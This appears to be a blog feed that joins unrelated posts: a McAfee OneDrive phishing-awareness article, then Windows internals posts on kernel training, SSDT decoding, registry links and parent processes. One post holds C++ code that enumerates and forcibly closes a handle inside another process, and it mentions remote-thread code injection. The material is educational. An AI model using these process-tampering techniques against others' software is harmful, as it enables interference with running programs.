There are number of ways scammers use to target personal information and, currently, one example is, they are taking advantage of the fear around the virus pandemic, sending phishing and scam emails to Microsoft OneDrive users, trying to profit from Coronavirus/COVID-19. They will pretend to be emailing from government, consulting, or charitable organizations to steal victim’s OneDrive details. OneDrive scammers will steal sensitive account information like usernames and passwords.  We would like to educate McAfee users and the public about the potential risks with these scams.

Nefarious Groups Attempt to Harvest Users’ Credentials

Below we will take you through three examples of this kind of attack, coming from a government organization, consulting firm and a charitable organization hosted in OneDrive to make them appear more genuine to users. As the screenshot below illustrates, the goal is to steal the user’s OneDrive credentials.

Fake Government Email Baits Victims

Scammers pretend to be from government offices and deliver documents that contain the latest live questionnaire regarding COVID-19. Remember: governments do not generally email the masses, sending unrequested documents, so a user could verify by examining the sender email address and location in the email headers and could visit the legitimate government site to see if there is COVID-19 information there instead.

When the folder in the above image is clicked on, it redirects to the screenshot shown below.

A warning saying “Hmm… looks like this file doesn’t have a preview we can show you” baits the visitor into clicking on the Open button. When clicked, it takes them to the below OneDrive screenshot prompting them to enter their personal information.

Notice that the link points users to a vulnerable WordPress site that contains a credential phishing landing page. A user should be aware that a legitimate OneDrive login page will never be hosted on a non-Microsoft domain. This should be a red flag to the user that this may be a scam or phishing attack.

As intended by the scammers, the user cannot access the OneDrive document to view the updated government questionnaire and, instead, will receive an error message to try again later.

By this stage, the scammers would have already stolen the user’s OneDrive personal information.

Fake Consulting Firm Attempts to Trick Users with Secured Document

Scammers pretend to be a consulting firm to share a secured document with the customer regarding the COVID-19 pandemic. Accepting an email document from a random and unsolicited consulting firm should be regarded as suspicious.

If a recipient clicks on the Download PDF link, it will take them to the page shown above where they are prompted to login. If they do so, it brings them to the below Microsoft login page where they enter their email address and password.

After attempting to sign in, the victim will be presented with an error message, as seen in the below screenshot.

When they enter their OneDrive information they will receive an error message saying, “Sorry, but we’re having trouble signing you in”. However, by this point, the scammers have already stolen the user’s OneDrive information.

Fake Charitable Organization Tries to Trick Volunteers

Some emails appear like charitable organizations looking for volunteers to help the community.

If someone clicks on the open PDF link, it will take them to the below OneDrive login page.

Scammers are trying to harvest company and individual OneDrive credentials by pretending to appear as a non-profit organization looking for volunteers.

The user is then presented with a login screen requesting their credentials.

However, they should notice the URL hosting the OneDrive login page is not from a Microsoft domain and should be regarded as suspicious.

Advice to Consumers

Consumers should be aware of scammers trying to harvest OneDrive details and should follow these best practices: –

• Be careful of any charity or businesses requesting their OneDrive user information. Stick with organizations known to be reputable.
• Never share financial or personal information over the phone, via email or with untrusted sites.
• Remember that legitimate organizations will almost never send an email asking for personal information.
• Never click on suspicious links or download attachments from unknown sources.
• Never log in to a web page reached through a link from an email.
• Remember email addresses can be spoofed so if a message looks suspicious, contact the sender via a known telephone number taken from their official website.

Advice to Organizations

• Organizations should activate multi-factor authentication to prevent stolen credentials from been used to access OneDrive or Office 365 accounts.
• Ensure all employees are aware of the threat posed by OneDrive and Office 365 phishing scams and consider security awareness training where appropriate.

If you find suspected scam sites, please submit them to McAfee for review at https://trustedsource.org as well as reporting them to your local law enforcement.

The post OneDrive Phishing Awareness appeared first on McAfee Blog.

The next public remote Windows kernel Programming class I will be delivering is scheduled for April 15 to 18. It’s going to be very similar to the first one I did at the end of January (with some slight modifications and additions).

Cost: 1950 USD. Early bird (register before March 30th): 1650 USD

I have not yet finalized the time zone the class will be “targeting”. I will update in a few weeks on that.

If you’re interested in registering, please email [email protected] with the subject “Windows Kernel Programming class” and specify your name, company (if any) and time zone. I’ll reply by providing more information.

Feel free to contact me for questions using the email or through twitter (@zodiacon).

The complete syllabus is outlined below:

Instructor: Pavel Yosifovich

Abstract

The cyber security industry has grown considerably in recent years, with more sophisticated attacks and consequently more defenders. To have a fighting chance against these kinds of attacks, kernel mode drivers must be employed, where nothing (at least nothing from user mode) can escape their eyes.
The course provides the foundations for the most common software device drivers that are useful not just in cyber security, but also other scenarios, where monitoring and sometimes prevention of operations is required. Participants will write real device drivers with useful features they can then modify and adapt to their particular needs.

Syllabus

• Module 1: Windows Internals quick overview
  • Processes
  • Virtual memory
  • Threads
  • System architecture
  • User / kernel transitions
  • Introduction to WinDbg
  • Windows APIs
  • Objects and handles
  • Summary

• Module 2: The I/O System
  • I/O System overview
  • Device Drivers
  • The Windows Driver Model (WDM)
  • The Kernel Mode Driver Framework (KMDF)
  • Other device driver models
  • Driver types
  • Software drivers
  • Driver and device objects
  • I/O Processing and Data Flow
  • Accessing devices
  • Asynchronous I/O
  • Summary

• Module 3: Kernel programming basics
  • Setting up for Kernel Development
  • Basic Kernel types and conventions
  • C++ in a kernel driver
  • Creating a driver project
  • Building and deploying
  • The kernel API
  • Strings
  • Linked Lists
  • The DriverEntry function
  • The Unload routine
  • Installation
  • Testing
  • Debugging
  • Summary
  • Lab: deploy a driver

• Module 4: Building a simple driver
  • Creating a device object
  • Exporting a device name
  • Building a driver client
  • Driver dispatch routines
  • Introduction to I/O Request Packets (IRPs)
  • Completing IRPs
  • Handling DeviceIoControl calls
  • Testing the driver
  • Debugging the driver
  • Using WinDbg with a virtual machine
  • Summary
  • Lab: open a process for any access; zero driver; debug a driver

• Module 5: Kernel mechanisms
  • Interrupt Request Levels (IRQLs)
  • Deferred Procedure Calls (DPCs)
  • Dispatcher objects
  • Low IRQL Synchronization
  • Spin locks
  • Work items
  • Summary

• Module 6: Process and thread monitoring
  • Motivation
  • Process creation/destruction callback
  • Specifying process creation status
  • Thread creation/destruction callback
  • Notifying user mode
  • Writing a user mode client
  • Preventing potentially malicious processes from executing
  • Summary
  • Lab: monitoring process/thread activity; prevent specific processes from running; protecting processes

• Module 7: Object and registry notifications
  • Process/thread object notifications
  • Pre and post callbacks
  • Registry notifications
  • Performance considerations
  • Reporting results to user mode
  • Summary
  • Lab: protect specific process from termination; simple registry monitor

• Module 8: File system mini filters
  • File system model
  • Filters vs. mini filters
  • The Filter Manager
  • Filter registration
  • Pre and Post callbacks
  • File name information
  • Contexts
  • File system operations
  • Filter to user mode communication
  • Debugging mini-filters
  • Summary
  • Labs: protect a directory from file deletion; backup file before deletion

One of the new Windows 10 features visible to users is the support for additional “Desktops”. It’s now possible to create additional surfaces on which windows can be used. This idea is not new – it has been around in the Linux world for many years (e.g. KDE, Gnome), where users have 4 virtual desktops they can use. The idea is that to prevent clutter, one desktop can be used for web browsing, for example, and another desktop can be used for all dev work, and yet a third desktop could be used for all social / work apps (outlook, WhatsApp, Facebook, whatever).

To create an additional virtual desktop on Windows 10, click on the Task View button on the task bar, and then click the “New Desktop” button marked with a plus sign.

Now you can switch between desktops by clicking the appropriate desktop button and then launch apps as usual. It’s even possible (by clicking Task View again) to move windows from desktop to desktop, or to request that a window be visible on all desktops.

The Sysinternals tools had a tool called “Desktops” for many years now. It too allows for creation of up to 4 desktops where applications can be launched. The question is – is this Desktops tool the same as the Windows 10 virtual desktops feature? Not quite.

First, some background information. In the kernel object hierarchy under a session object, there are window stations, desktops and other objects. Here’s a diagram summarizing this tree-like relationship:

As can be seen in the diagram, a session contains a set of Window Stations. One window station can be interactive, meaning it can receive user input, and is always called winsta0. If there are other window stations, they are non-interactive.

Each window station contains a set of desktops. Each of these desktops can hold windows. So at any given moment, an interactive user can interact with a single desktop under winsta0. Upon logging in, a desktop called “Default” is created and this is where all the normal windows appear. If you click Ctrl+Alt+Del for example, you’ll be transferred to another desktop, called “Winlogon”, that was created by the winlogon process. That’s why your normal windows “disappear” – you have been switched to another desktop where different windows may exist. This switching is done by a documented function – SwitchDesktop.

And here lies the difference between the Windows 10 virtual desktops and the Sysinternals desktops tool. The desktops tool actually creates desktop objects using the CreateDesktop API. In that desktop, it launches Explorer.exe so that a taskbar is created on that desktop – initially the desktop has nothing on it. How can desktops launch a process that by default creates windows in a different desktop? This is possible to do with the normal CreateProcess function by specifying the desktop name in the STARTUPINFO structure’s lpDesktop member. The format is “windowstation\desktop”. So in the desktops tool case, that’s something like “winsta0\Sysinternals Desktop 1”. How do I know the name of the Sysinternals desktop objects? Desktops can be enumerated with the EnumDesktops API. I’ve written a small tool, that enumerates window stations and desktops in the current session. Here’s a sample output when one additional desktop has been created with “desktops”:

In the Windows 10 virtual desktops feature, no new desktops are ever created. Win32k.sys just manipulates the visibility of windows and that’s it. Can you guess why? Why doesn’t Window 10 use the CreateDesktop/SwitchDesktop APIs for its virtual desktop feature?

The reason has to do with some limitations that exist on desktop objects. For one, a window (technically a thread) that is bound to a desktop cannot be switched to another; in other words, there is no way to transfer a windows from one desktop to another. This is intentional, because desktops provide some protection. For example, hooks set with SetWindowsHookEx can only be set on the current desktop, so cannot affect other windows in other desktops. The Winlogon desktop, as another example, has a strict security descriptor that prevents non system-level users from accessing that desktop. Otherwise, that desktop could have been tampered with.

The virtual desktops in Windows 10 is not intended for security purposes, but for flexibility and convenience (security always “contradicts” convenience). That’s why it’s possible to move windows between desktops, because there is no real “moving” going on at all. From the kernel’s perspective, everything is still on the same “Default” desktop.

System calls on Windows go through NTDLL.dll, where each system call is invoked by a syscall (x64) or sysenter (x86) CPU instruction, as can be seen from the following output of NtCreateFile from NTDLL:

0:000> u
ntdll!NtCreateFile:
00007ffc`c07fcb50 4c8bd1          mov     r10,rcx
00007ffc`c07fcb53 b855000000      mov     eax,55h
00007ffc`c07fcb58 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`c07fcb60 7503            jne     ntdll!NtCreateFile+0x15 (00007ffc`c07fcb65)
00007ffc`c07fcb62 0f05            syscall
00007ffc`c07fcb64 c3              ret
00007ffc`c07fcb65 cd2e            int     2Eh
00007ffc`c07fcb67 c3              ret

The important instructions are marked in bold. The value set to EAX is the system service number (0x55 in this case). The syscall instruction follows (the condition tested does not normally cause a branch). syscall causes transition to the kernel into the System Service Dispatcher routine, which is responsible for dispatching to the real system call implementation within the Executive. I will not go to the exact details here, but eventually, the EAX register must be used as a lookup index into the System Service Dispatch Table (SSDT), where each system service number (index) should point to the actual routine.

On x64 versions of Windows, the SSDT is available in the kernel debugger in the nt!KiServiceTable symbol:

lkd> dd nt!KiServiceTable
fffff804`13c3ec20  fced7204 fcf77b00 02b94a02 04747400
fffff804`13c3ec30  01cef300 fda01f00 01c06005 01c3b506
fffff804`13c3ec40  02218b05 0289df01 028bd600 01a98d00
fffff804`13c3ec50  01e31b00 01c2a200 028b7200 01cca500
fffff804`13c3ec60  02229b01 01bf9901 0296d100 01fea002

You might expect the values in the SSDT to be 64-bit pointers, pointing directly to the system services (this is the scheme used on x86 systems). On x64 the values are 32 bit, and are used as offsets from the start of the SSDT itself. However, the offset does not include the last hex digit (4 bits): this last value is the number of arguments to the system call.

Let’s see if this holds with NtCreateFile. Its service number is 0x55 as we’ve seen from user mode, so to get to the actual offset, we need to perform a simple calculation:

kd> dd nt!KiServiceTable+55*4 L1
fffff804`13c3ed74  020b9207

Now we need to take this offset (without the last hex digit), add it to the SSDT and this should point at NtCreateFile:

lkd> u nt!KiServiceTable+020b920
nt!NtCreateFile:
fffff804`13e4a540 4881ec88000000  sub     rsp,88h
fffff804`13e4a547 33c0            xor     eax,eax
fffff804`13e4a549 4889442478      mov     qword ptr [rsp+78h],rax
fffff804`13e4a54e c744247020000000 mov     dword ptr [rsp+70h],20h

Indeed – this is NtCreateFile. What about the argument count? The value stored is 7. Here is the prototype of NtCreateFile (documented in the WDK as ZwCreateFile):

NTSTATUS NtCreateFile(
  PHANDLE            FileHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK   IoStatusBlock,
  PLARGE_INTEGER     AllocationSize,
  ULONG              FileAttributes,
  ULONG              ShareAccess,
  ULONG              CreateDisposition,
  ULONG              CreateOptions,
  PVOID              EaBuffer,
  ULONG              EaLength);

Clearly, there are 11 parameters, not just 7. Why the discrepency? The stored value is the number of parameters that are passed using the stack. In x64 calling convention, the first 4 arguments are passed using registers: RCX, RDX, R8, R9 (in this order).

Now back to the title of this post. Here are the first few entries in the SSDT again:

lkd> dd nt!KiServiceTable
fffff804`13c3ec20  fced7204 fcf77b00 02b94a02 04747400
fffff804`13c3ec30  01cef300 fda01f00 01c06005 01c3b506

The first two entries look different, with much larger numbers. Let’s try to apply the same logic for the first value (index 0):

kd> u nt!KiServiceTable+fced720
fffff804`2392c340 ??              ???
                    ^ Memory access error in 'u nt!KiServiceTable+fced720'

Clearly a bust. The value is in fact a negative value (in two’s complement), so we need to sign-extend it to 64 bit, and then perform the addition (leaving out the last hex digit as before):

kd> u nt!KiServiceTable+ffffffff`ffced720
nt!NtAccessCheck:
fffff804`1392c340 4c8bdc          mov     r11,rsp
fffff804`1392c343 4883ec68        sub     rsp,68h
fffff804`1392c347 488b8424a8000000 mov     rax,qword ptr [rsp+0A8h]

This is NtAccessCheck. The function’s implementation is in lower addresses than the SSDT itself. Let’s try the same exercise with index 1:

kd> u nt!KiServiceTable+ffffffff`ffcf77b0
nt!NtWorkerFactoryWorkerReady:
fffff804`139363d0 4c8bdc          mov     r11,rsp
fffff804`139363d3 49895b08        mov     qword ptr [r11+8],rbx

And we get system call number 1: NtWorkerFactoryWorkerReady.

For those fond of WinDbg scripting – write a script to display nicely all system call functions and their indices.

Many of you are probably familiar with Process Explorer‘s ability to close a handle in any process. How can this be accomplished programmatically?

The standard CloseHandle function can close a handle in the current process only, and most of the time that’s a good thing. But what if you need, for whatever reason, to close a handle in another process?

There are two routes than can be taken here. The first one is using a kernel driver. If this is a viable option, then nothing can prevent you from doing the deed. Process Explorer uses that option, since it has a kernel driver (if launched with admin priveleges at least once). In this post, I will focus on user mode options, some of which are applicable to kernel mode as well.

The first issue to consider is how to locate the handle in question, since its value is unknown in advance. There must be some criteria for which you know how to identify the handle once you stumble upon it. The easiest (and probably most common) case is a handle to a named object.

Let take a concrete example, which I believe is now a classic, Windows Media Player. Regardless of what opnions you may have regarding WMP, it still works. One of it quirks, is that it only allows a single instance of itself to run. This is accomplished by the classic technique of creating a named mutex when WMP comes up, and if it turns out the named mutex already exists (presumabley created by an already existing instance of itself), send a message to its other instance and then exits.

The following screenshot shows the handle in question in a running WMP instance.

This provides an opportunity to close that mutex’ handle “behind WMP’s back” and then being able to launch another instance. You can try this by manually closing the handle with Process Explorer and then launch another WMP instance successfully.

If we want to achieve this programmatically, we have to locate the handle first. Unfortunately, the documented Windows API does not provide a way to enumerate handles, not even in the current process. We have to go with the (officially undocumented) Native API if we want to enumerate handles. There two routes we can use:

1. Enumerate all handles in the system with NtQuerySystemInformation, search for the handle in the PID of WMP.
2. Enumerate all handles in the WMP process only, searching for the handle yet again.
3. Inject code into the WMP process to query handles one by one, until found.

Option 3 requires code injection, which can be done by using the CreateRemoteThreadEx function, but requires a DLL that we inject. This technique is very well-known, so I won’t repeat it here. It has the advantage of not requring some of the native APIs we’ll be using shortly.

Options 1 and 2 look very similar, and for our purposes, they are. Option 1 retrieves too much information, so it’s probably better to go with option 2.

Let’s start at the beginning: we need to locate the WMP process. Here is a function to do that, using the Toolhelp API for process enumeration:

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

DWORD FindMediaPlayer() {
	HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
		return 0;

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(pe);

	// skip the idle process
	::Process32First(hSnapshot, &pe);
	
	DWORD pid = 0;
	while (::Process32Next(hSnapshot, &pe)) {
		if (::_wcsicmp(pe.szExeFile, L"wmplayer.exe") == 0) {
			// found it!
			pid = pe.th32ProcessID;
			break;
		}
	}
	::CloseHandle(hSnapshot);
	return pid;
}


int main() {
	DWORD pid = FindMediaPlayer();
	if (pid == 0) {
		printf("Failed to locate media player\n");
		return 1;
	}
	printf("Located media player: PID=%u\n", pid);
	return 0;
}

Now that we have located WMP, let’s get all handles in that process. The first step is opening a handle to the process with PROCESS_QUERY_INFORMATION and PROCESS_DUP_HANDLE (we’ll see why that’s needed in a little bit):

HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
	FALSE, pid);
if (!hProcess) {
	printf("Failed to open WMP process handle (error=%u)\n",
		::GetLastError());
	return 1;
}

If we can’t open a proper handle, then something is terribly wrong. Maybe WMP closed in the meantime?

Now we need to work with the native API to query the handles in the WMP process. We’ll have to bring in some definitions, which you can find in the excellent phnt project on Github (I added extern "C" declaration because we use a C++ file).

#include <memory>

#pragma comment(lib, "ntdll")

#define NT_SUCCESS(status) (status >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

enum PROCESSINFOCLASS {
	ProcessHandleInformation = 51
};

typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
	HANDLE HandleValue;
	ULONG_PTR HandleCount;
	ULONG_PTR PointerCount;
	ULONG GrantedAccess;
	ULONG ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;

// private
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
	ULONG_PTR NumberOfHandles;
	ULONG_PTR Reserved;
	PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryInformationProcess(
	_In_ HANDLE ProcessHandle,
	_In_ PROCESSINFOCLASS ProcessInformationClass,
	_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
	_In_ ULONG ProcessInformationLength,
	_Out_opt_ PULONG ReturnLength);

The #include <memory> is for using unique_ptr<> as we’ll do soon enough. The #parma links the NTDLL import library so that we don’t get an “unresolved external” when calling NtQueryInformationProcess. Some people prefer getting the functions address with GetProcAddress so that linking with the import library is not necessary. I think using GetProcAddress is important when using a function that may not exist on the system it’s running on, otherwise the process will crash at startup, when the loader (code inside NTDLL.dll) tries to locate a function. It does not care if we check dynamically whether to use the function or not – it will crash. Using GetProcAddress will just fail and the code can handle it. In our case, NtQueryInformationProcess existed since the first Windows NT version, so I chose to go with the simplest route.

Our next step is to enumerate the handles with the process information class I plucked from the full list in the phnt project (ntpsapi.h file):

ULONG size = 1 << 10;
std::unique_ptr<BYTE[]> buffer;
for (;;) {
	buffer = std::make_unique<BYTE[]>(size);
	auto status = ::NtQueryInformationProcess(hProcess, ProcessHandleInformation, 
		buffer.get(), size, &size);
	if (NT_SUCCESS(status))
		break;
	if (status == STATUS_INFO_LENGTH_MISMATCH) {
		size += 1 << 10;
		continue;
	}
	printf("Error enumerating handles\n");
	return 1;
}

The Query* style functions in the native API request a buffer and return STATUS_INFO_LENGTH_MISMATCH if it’s not large enough or not of the correct size. The code allocates a buffer with make_unique<BYTE[]> and tries its luck. If the buffer is not large enough, it receives back the required size and then reallocates the buffer before making another call.

Now we need to step through the handles, looking for our mutex. The information returned from each handle does not include the object’s name, which means we have to make yet another native API call, this time to NtQyeryObject along with some extra required definitions:

typedef enum _OBJECT_INFORMATION_CLASS {
	ObjectNameInformation = 1
} OBJECT_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_NAME_INFORMATION {
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryObject(
	_In_opt_ HANDLE Handle,
	_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
	_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
	_In_ ULONG ObjectInformationLength,
	_Out_opt_ PULONG ReturnLength);

NtQueryObject has several information classes, but we only need the name. But what handle do we provide NtQueryObject? If we were going with option 3 above and inject code into WMP’s process, we could loop with handle values starting from 4 (the first legal handle) and incrementing the loop handle by four.

Here we are in an external process, so handing out the handles provided by NtQueryInformationProcess does not make sense. What we have to do is duplicate each handle into our own process, and then make the call. First, we set up a loop for all handles and duplicate each one:

auto info = reinterpret_cast<PROCESS_HANDLE_SNAPSHOT_INFORMATION*>(buffer.get());
for (ULONG i = 0; i < info->NumberOfHandles; i++) {
	HANDLE h = info->Handles[i].HandleValue;
	HANDLE hTarget;
	if (!::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget, 
		0, FALSE, DUPLICATE_SAME_ACCESS))
		continue;	// move to next handle
	}

We duplicate the handle from WMP’s process (hProcess) to our own process. This function requires the handle to the process opened with PROCESS_DUP_HANDLE.

Now for the name: we need to call NtQueryObject with our duplicated handle and buffer that should be filled with UNICODE_STRING and whatever characters make up the name.

BYTE nameBuffer[1 << 10];
auto status = ::NtQueryObject(hTarget, ObjectNameInformation, 
	nameBuffer, sizeof(nameBuffer), nullptr);
::CloseHandle(hTarget);
if (!NT_SUCCESS(status))
	continue;

Once we query for the name, the handle is not needed and can be closed, so we don’t leak handles in our own process. Next, we need to locate the name and compare it with our target name. But what is the target name? We see in Process Explorer how the name looks. It contains the prefix used by any process (except UWP processes): “\Sessions\<session>\BasedNameObjects\<thename>”. We need the session ID and the “real” name to build our target name:

WCHAR targetName[256];
DWORD sessionId;
::ProcessIdToSessionId(pid, &sessionId);
::swprintf_s(targetName,
	L"\\Sessions\\%u\\BaseNamedObjects\\Microsoft_WMP_70_CheckForOtherInstanceMutex", 
	sessionId);
auto len = ::wcslen(targetName);

This code should come before the loop begins, as we only need to build it once.

Not for the real comparison of names:

auto name = reinterpret_cast<UNICODE_STRING*>(nameBuffer);
if (name->Buffer && 
	::_wcsnicmp(name->Buffer, targetName, len) == 0) {
	// found it!
}

The name buffer is cast to a UNICODE_STRING, which is the standard string type in the native API (and the kernel). It has a Length member which is in bytes (not characters) and does not have to be NULL-terminated. This is why the function used is _wcsnicmp, which can be limited in its search for a match.

Assuming we find our handle, what do we do with it? Fortunately, there is a trick we can use that allows closing a handle in another process: call DuplicateHandle again, but add the DUPLICATE_CLOSE_SOURCE to close the source handle. Then close our own copy, and that’s it! The mutex is gone. Let’s do it:

// found it!
::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget,
	0, FALSE, DUPLICATE_CLOSE_SOURCE);
::CloseHandle(hTarget);
printf("Found it! and closed it!\n");
return 0;

This is it. If we get out of the loop, it means we failed to locate the handle with that name. The general technique of duplicating a handle and closing the source is applicable to kernel mode as well. It does require a process handle with PROCESS_DUP_HANDLE to make it work, which is not always possible to get from user mode. For example, protected and PPL (protected processes light) processes cannot be opened with this access mask, even by administrators. In kernel mode, on the other hand, any process can be opened with full access.

The standard Windows Registry contains some keys that are not real keys, but instead are symbolic links (or simply, links) to other keys. For example, the key HKEY_LOCAL_MACHINE\System\CurrentControlSet is a symbolic link to HKEY_LOCAL_MACHINE\System\ControlSet001 (in most cases). When working with the standard Registry editor, RegEdit.exe, symbolic links look like normal keys, in the sense that they behave as the link’s target. The following figure shows the above mentioned keys. They look exactly the same (and they are).

There are several other existing links in the Registry. As another example, the hive HKEY_CURRENT_CONFIG is a link to (HKLM is HKEY_LOCAL_MACHINE) HKLM\SYSTEM\CurrentControlSet\Hardware Profiles\Current.

But how to do you create such links yourself? The official Microsoft documentation has partial details on how to do it, and it misses two critical pieces of information to make it work.

Let’s see if we can create a symbolic link. One rule of Registry links, is that the link must point to somewhere within the same hive where the link is created; we can live with that. For demonstration purposes, we’ll create a link in HKEY_CURRENT_USER named DesktopColors that links to HKEY_CURRENT_USER\Control Panel\Desktop\Colors.

The first step is to create the key and specify it to be a link rather than a normal key (error handling omitted):

HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, L"DesktopColors", 0, nullptr,
	REG_OPTION_CREATE_LINK, KEY_WRITE, nullptr, &hKey, nullptr);

The important part is that REG_OPTION_CREATE_LINK flag that indicates this is supposed to be a link rather than a standard key. The KEY_WRITE access mask is required as well, as we are about to set the link’s target.

Now comes the first tricky part. The documentation states that the link’s target should be written to a value named “SymbolicLinkValue” and it must be an absolute registry path. Sounds easy enough, right? Wrong. The issue here is the “absolute path” – you might think that it should be something like “HKEY_CURRENT_USER\Control Panel\Desktop\Colors” just like we want, but hey – maybe it’s supposed to be “HKCU” instead of “HKEY_CURRENT_USER” – it’s just a string after all.

It turns out both these variants are wrong. The “absolute path” required here is a native Registry path that is not visible in RegEdit.exe, but it is visible in my own Registry editing tool, RegEditX.exe, downloadable from https://github.com/zodiacon/AllTools. Here is a screenshot, showing the “real” Registry vs. the view we get with RegEdit.

This top view is the “real” Registry is seen by the Windows kernel. Notice there is no HKEY_CURRENT_USER, there is a USER key where subkeys exist that represent users on this machine based on their SIDs. These are mostly visible in the standard Registry under the HKEY_USERS hive.

The “absolute path” needed is based on the real view of the Registry. Here is the code that writes the correct path based on my (current user’s) SID:

WCHAR path[] = L"\\REGISTRY\\USER\\S-1-5-21-2575492975-396570422-1775383339-1001\\Control Panel\\Desktop\\Colors";
RegSetValueEx(hKey, L"SymbolicLinkValue", 0, REG_LINK, (const BYTE*)path,
    wcslen(path) * sizeof(WCHAR));

The above code shows the second (undocumented, as far as I can tell) piece of crucial information – the length of the link path (in bytes) must NOT include the NULL terminator. Good luck guessing that

And that’s it. We can safely close the key and we’re done.

Well, almost. If you try to delete your newly created key using RegEdit.exe – the target is deleted, rather than the link key itself! So, how do you delete the key link? (My RegEditX does not support this yet).

The standard RegDeleteKey and RegDeleteKeyEx APIs are unable to delete a link. Even if they’re given a key handle opened with REG_OPTION_OPEN_LINK – they ignore it and go for the target. The only API that works is the native NtDeleteKey function (from NtDll.Dll).

First, we add the function’s declaration and the NtDll import:

extern "C" int NTAPI NtDeleteKey(HKEY);

#pragma comment(lib, "ntdll")

Now we can delete a link key like so:

HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, L"DesktopColors", REG_OPTION_OPEN_LINK, 
    DELETE, &hKey);
NtDeleteKey(hKey);

As a final note, RegCreateKeyEx cannot open an existing link key – it can only create one. This in contrast to standard keys that can be created OR opened with RegCreateKeyEx. This means that if you want to change an existing link’s target, you have to call RegOpenKeyEx first (with REG_OPTION_OPEN_LINK) and then make the change (or delete the link key and re-create it).

Isn’t Registry fun?

I have recently completed another successful iteration of the Windows Internals training – thank you those who participated!

I am announcing two upcoming training classes, Windows Internals and Windows Kernel Programming.

Windows Internals (5 days)

I promised some folks that the next Internals training would be convenient to US-based time zones. That said, all time zones are welcome!

Dates: Sep 29, Oct 1, 5, 7, 8
Times: 8am to 4pm Pacific time (11am to 7pm Eastern)

The syllabus can be found here. I may make small changes in the final topics, but the major topics remain the same.

Windows Kernel Programming (4 days)

Dates: Oct 13, 15, 19, 21
Times: TBA

The syllabus can be found here. Again, slight changes are possible. This is a development-heavy course, so be prepared to write lots of code!

The selected time zone will be based on the majority of participants’ preference.

Cost and Registration

The cost for each class is kept relatively low (as opposed to other, perhaps similar offerings), as I’ve done in the past year or so. This is to make these classes accessible to more people, especially in these challenging times. If you register for both classes, you get 10% off the second class. Previous students of my classes get 10% off as well.

Cost: 750 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Training” in the title. The email should include your name, company name (if any) and preferred time zone.

Please read carefully the pre-requisites of each class, especially for Windows Kernel Programming. In case of doubt, talk to me.

If you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

For Companies

Companies that are interested in such (or other) training classes receive special prices. Topics can also be customized according to specific needs.

Other classes I provide include: Modern C++ Programming, Windows System Programming, COM Programming, C#/.NET Programming (Basic and Advanced), Advanced Windows Debugging, and more. Contact me for detailed syllabi if interested.

I am announcing the next Windows Internals remote training to be held in January 2021 on the 19, 21, 25, 27, 28. Times: 11am to 7pm, London time.

The syllabus can be found here.

I am also announcing a new training, requested by quite a few people, Windows System Programming. The dates are in February 2021: 8, 9, 11, 15, 17. Times: 12pm to 8pm, London time.

The syllabus can be found here.

Cost and Registration

I’m keeping the cost of these training classes relatively low. This is to make these classes accessible to more people, especially in these challenging times. If you register for both classes, you get 10% off the second class. Previous students of my classes get 10% off as well.

Cost: 750 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Training” in the title. The email should include the training(s) you’re interested in, your name, contact email, company name (if any) and preferred time zone. The training times have already been selected, but it’s still good to know which time zone you live in.

As usual, if you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

Normally, a process created by another process in Windows establishes a parent-child relationship between them. This relationship can be viewed in tools such as Process Explorer. Here is an example showing FoxitReader as a child process of Explorer, implying Explorer created FoxitReader. That must be the case, right?

First, it’s important to emphasize that there is no dependency between a child and a parent process in any way. For example, if the parent process terminates, the child is unaffected. The parent is used for inheriting many properties of the child process, such as current directory and environment variables (if not specified explicitly).

Windows stores the parent process ID in the process management object of the child in the kernel for posterity. This also means that the process ID, although correct, could point to a “wrong” process. This can happen if the parent dies, and the process ID is reused.

Process Explorer does not get confused in such a case, and left-justifies the process in its tree view. It knows to check the process creation time. If the “parent” was created after the child, there is no way it could be the real parent. The parent process ID can still be viewed in the process properties:

Notice the “<Non-existent Parent>” indication. Although the parent process ID is known (13636 in this case), there is no other information on that process, as it does not exist anymore, and its ID may or may not have been reused.

By the way, don’t be alarmed that Explorer has no living parent. This is expected, as it’s normally created by a process running the image UserInit.exe, that exits normally after finishing its duties.

Returning to the question raised earlier – is the parent process always the actual creator? Not necessarily.

